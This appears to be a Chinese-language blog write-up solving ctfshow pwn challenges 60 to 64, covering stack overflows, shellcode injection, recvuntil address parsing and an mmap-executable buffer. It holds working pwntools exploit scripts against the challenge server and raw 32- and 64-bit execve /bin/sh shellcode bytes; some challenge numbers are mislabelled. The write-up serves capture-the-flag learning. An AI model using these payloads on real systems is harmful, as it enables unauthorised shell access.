首先写在前面:所有题都是没有开NX保护的,我都checksec过了,就不再每一题都贴了

ctfshow pwn60

入门难度shellcode

考点:strncpy函数

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("See you ~");
return 0;
}

关于strncpy函数的介绍: https://www.runoob.com/cprogramming/c-function-strncpy.html

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28174)
buf2 = 0x804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a') + p32(buf2)
io.sendline(payload)
io.interactive()

这里用的很妙的是ljust函数,因为shellcode也是有长度的,如果直接用+拼接,那么会超过偏移量,这里的意思是:不管 shellcode 实际有多长,ljust都能让总长度变成 112 字节。如果 shellcode 不够 112 字节,缺多少就在后面(右边)补多少个 a

这样做到了一举两得,既填充了padding,又写入了shellcode

ctfshow pwn61(shellcode长度超标和recvuntil)

输出了什么?

考点:recvuntil的分步使用,内存分布的理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF

v5[0] = 0LL;
v5[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}

这个题的PIE保护是开的,因此我们每次输出的v5的地址在栈上都是随机的,我们需要接收这个地址,并且把shellcode写进去,但问题是%p周围有一堆提示,我们应该怎么只挑出%p打印的地址呢,这就需要用到recvuntil了

recvuntil 的基本用法

tube.recvuntil(delimiters, drop=False, timeout=default)

其中:

tube: 是一个连接对象,通常是 pwnlib.tubes.remote (远程连接) 或 pwnlib.tubes.process (本地进程)

delimiters: 必需。您期望接收数据直到遇到的那个终止字符串(或字节串),必须是b’string’

drop: 可选。一个布尔值,默认为 False

如果设置为 True,则接收到的数据将不包含这个终止字符串 (delimiters)

如果设置为 False (默认),则接收到的数据将包含这个终止字符串 (delimiters)

timeout: 可选。设置等待数据的最大时间(秒)。如果超时,会抛出 pwnlib.timeout 异常

我们可以通过用两次recvuntil”过滤”掉%p周围的字符,第一次recvuntil是接收[前的字符,第二次是接收]前的字符,我们用的时候就是第二次recvuntil的内容了

1
2
io.recvuntil('[')
v5_addr = int(io.recvuntil(']',drop=True))

再说一下为什么要转成int类型,因为输出的地址,如0x7ffeebf02fb0,在python里是以字符串(bytes 类型)的形式存在的,我们需要转成16进制的地址

shellcode长度超标

一开始的思路是想往v5里写shellcode的,但是v5的长度只有2*8=16个字节,shellcode的长度肯定是大于v5的长度的,所以我们需要想想别的办法

我们必须要和上个题区分开的是,上个题给我们的变量buf2在.bss段,这一次给的v5在栈上,0x7ffd46799d80,一般来说,0x7ff这种的地址都在栈上

全局变量存放在 .bss 或 .data 段
局部变量存放在栈上

这是ELF程序的主要内存布局

[高地址]
stack(栈)
heap(堆)
bss, data(全局变量)
text(代码)
[低地址]

所以既然v5写不了,那我们可以直接写到v5后面的栈上

1
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode

这里的payload我想了得一个小时,其实很简单

gets函数从v5开始写,我们还是常规的先填充0x10+8=0x18个字节到rip,关键是v5_addr + 0x20怎么去理解

p64(v5_addr + 0x20)得到的就是v5_addr往后第0x20个长度的地址,而0x20-0x18=8个字节,也就是我们用b’a’ * 0x18的填充后的下一个槽,也所以rip指向的就是v5_addr + 0x20这个地址,我们把shellcode写到了往后的栈上

v5_addr + 0x00 : padding
v5_addr + 0x10 : padding
v5_addr + 0x18 : saved_RBP 被覆盖
v5_addr + 0x20 : saved_RIP 被覆盖 ← 写入的跳转地址
v5_addr + 0x28 : 这里开始是 shellcode
v5_addr + 0x30 : (继续 shellcode)

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28192)

shellcode = asm(shellcraft.sh())
io.recvuntil('[')
v5_addr = int(io.recvuntil(']',drop=True),16)
print(hex(v5_addr))
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode
io.sendline(payload)
io.interactive()

ctfshow pwn62(编写短的shellcode)

短了一点

考点:长度更短的shellcode编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38uLL);
return 0;
}

本题和上一题的最大区别是gets函数换成了read函数,并且限制了我们读入的长度为0x38uLL

这个时候pwntools自动生成的shellcode显然太长了,于是我们需要自己写一些短的shellcode,并且换成机器码

我用AI写了好几个shellcode都不行,于是抄了别的大佬博客上的,终于可以了

32 位 短字节 shellcode (21 字节) \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode (23 字节)\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

exp如下,和上题区别只有shellcode不同

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28278)

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil('[')
v5_addr = int(io.recvuntil(']',drop=True),16)
print(hex(v5_addr))
payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcode
io.sendline(payload)
io.interactive()

ctfshow pwn62(同pwn62)

又短了一点

考点:长度更短的shellcode编写

和上一个题的exp一模一样,因为我找的shellcode已经是相当相当短的了

ctfshow pwn60

有时候开启某种保护并不代表这条路不通
考点:mmap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}

这个题有点意思,确实开了NX保护,但是给了一个特殊的函数mmap,它可以将文件或其他对象映射至进程的内存地址空间,使得进程能像访问内存一样直接操作文件内容

那就直接写shellcode就好了,连栈溢出都不需要了

1
2
3
4
5
6
from pwn import*
context.log_level='debug'
io=remote('pwn.challenge.ctf.show',28156)
shellcode=b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
io.sendline(shellcode)
io.interactive()

这里我顺便试了一下刚才的32位的机器码,也是可以打得通的

ctfshow pwn65-68

感觉难度确实上来了,有个新知识nop sled感觉挺难的,但是问了下AI感觉也很重要,打算先鸽一下,下个周回来补吧